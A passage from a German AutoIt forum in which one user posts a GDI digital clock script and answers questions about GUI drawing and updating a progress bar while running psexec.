    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    OffsetWindowOrgEx ($hdc, -42, 0, $NULL) ;
    DisplayDigit ($hdc, Mod ($iNumber, 10)) ;
    OffsetWindowOrgEx ($hdc, -42, 0, $NULL) ;

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func DisplayColon ($hdc)

    Local $ptColon [2]
    ; x, y; x, y; x, y; x, y
    Local $aColon [2][8] = [ [ 2, 21, 6, 17, 10, 21, 6, 25] , _
    [ 2, 51, 6, 47, 10, 51, 6, 55] ] ;

    [/autoit] [autoit][/autoit] [autoit]

    For $i = 0 To 1
    $ptColon [$i] = DllStructCreate ('int [8]')
    For $ii = 0 To 7
    DllStructSetData ($ptColon [$i], 1, $aColon [$i][$ii], $ii + 1)
    Next
    Next

    [/autoit] [autoit][/autoit] [autoit]

    Polygon ($hdc, DllStructGetPtr ($ptColon [0]), 4)
    Polygon ($hdc, DllStructGetPtr ($ptColon [1]), 4)

    [/autoit] [autoit][/autoit] [autoit]

    OffsetWindowOrgEx ($hdc, -12, 0, $NULL)

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func DisplayTime ($hdc, $f24Hour, $fSuppress)

    [/autoit] [autoit][/autoit] [autoit]

    Local $wHour, $wMinute, $wSecond
    Local $st = DllStructCreate ($tagSYSTEMTIME)

    [/autoit] [autoit][/autoit] [autoit]

    GetLocalTime (DllStructGetPtr ($st))

    [/autoit] [autoit][/autoit] [autoit]

    $wHour = DllStructGetData ($st, 'Hour')
    $wMinute = DllStructGetData ($st, 'Minute')
    $wSecond = DllStructGetData ($st, 'Second')

    [/autoit] [autoit][/autoit] [autoit]

    If ($f24Hour) Then
    DisplayTwoDigits ($hdc, $wHour, $fSuppress) ;
    Else
    If ($wHour = Mod ($wHour, 12)) Then
    DisplayTwoDigits ($hdc, $wHour, $fSuppress)
    Else
    DisplayTwoDigits ($hdc, 12, $fSuppress)
    EndIf
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    DisplayColon ($hdc)
    DisplayTwoDigits ($hdc, $wMinute, FALSE)
    DisplayColon ($hdc)
    DisplayTwoDigits ($hdc, $wSecond, FALSE)

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc

    [/autoit]


    Gruß
    Greenhorn

  • GDIPlus + GUI

    • Greenhorn
    • 12. Oktober 2008 um 02:44

    Moin,

    sieh' dir mal das Beispielscript an ...
    http://www.autoit.de/dokumentation_…RegisterMsg.htm

    In der MY_WM_DRAWITEM muss dein Zeichnen stattfinden ...


    Gruß
    Greenhorn

  • Progressbar und "Run" ?!

    • Greenhorn
    • 12. Oktober 2008 um 02:33

    Ohne den ersten Sleep müsste es doch gehen, Du must nur ProcessClose hinter die Schleife setzen.

    [autoit]

    $blah = GUICtrlRead($A1)
    If $blah = $GUI_CHECKED And $msg=$RUN Then
    $Programmpfad = INIread("config.ini", "Pfade", "ProgrammA", "")
    $remote=INIread("config.ini", "IPS", "RaumA", "")
    $Zugang=INIread("config.ini", "Zugang", "Benutzer", "")
    run(@ComSpec & " /k psexec \\" & $remote & " " & $Zugang & " " & $Programmpfad)


    For $i = 0 To 100 Step 20
    GUICtrlSetData($ProA1, $i)
    sleep (1000)
    Next
    ProcessClose ("cmd.exe")
    EndIf

    [/autoit]


    Oder Du arbeitest mit einem Timer ...

    [autoit]

    $blah = GUICtrlRead($A1)
    If $blah = $GUI_CHECKED And $msg=$RUN Then
    $Programmpfad = INIread ("config.ini", "Pfade", "ProgrammA", "")
    $remote = INIread ("config.ini", "IPS", "RaumA", "")
    $Zugang = INIread ("config.ini", "Zugang", "Benutzer", "")
    Run (@ComSpec & " /k psexec \\" & $remote & " " & $Zugang & " " & $Programmpfad)

    $iTimer = TimerInit ( ) ; Timer setzen
    While ProcessExists ("cmd.exe")

    $iDiff = TimerDiff ($iTimer) ; Differenz
    If $iDiff >= 5000 ; ... nach fünf Sekunden oder später
    ProcessClose ("cmd.exe")
    ExitLoop ; Schleife verlassen
    ElseIf $iDiff >= $iTimer + 1000 ; ... nach einer Sekunde oder später
    GUICtrlSetData($ProA1, 20)
    EndIf
    sleep (50)
    WEnd
    GUICtrlSetData($ProA1, 100)
    EndIf

    [/autoit][autoit][/autoit][autoit][/autoit]


    Gruß
    Greenhorn

  • Progressbar und "Run" ?!

    • Greenhorn
    • 12. Oktober 2008 um 02:09

    Hat es einen besonderen Grund das Du psexec über die Konsole startest ?

    Warum nimmst Du den Sleep nicht einfach raus ?!


    Gruß
    Greenhorn

Spenden

Jeder Euro hilft uns, Euch zu helfen.

Download

AutoIt Tutorial
AutoIt Buch
Onlinehilfe
AutoIt Entwickler
  1. Datenschutzerklärung
  2. Impressum
  3. Shoutbox-Archiv
Community-Software: WoltLab Suite™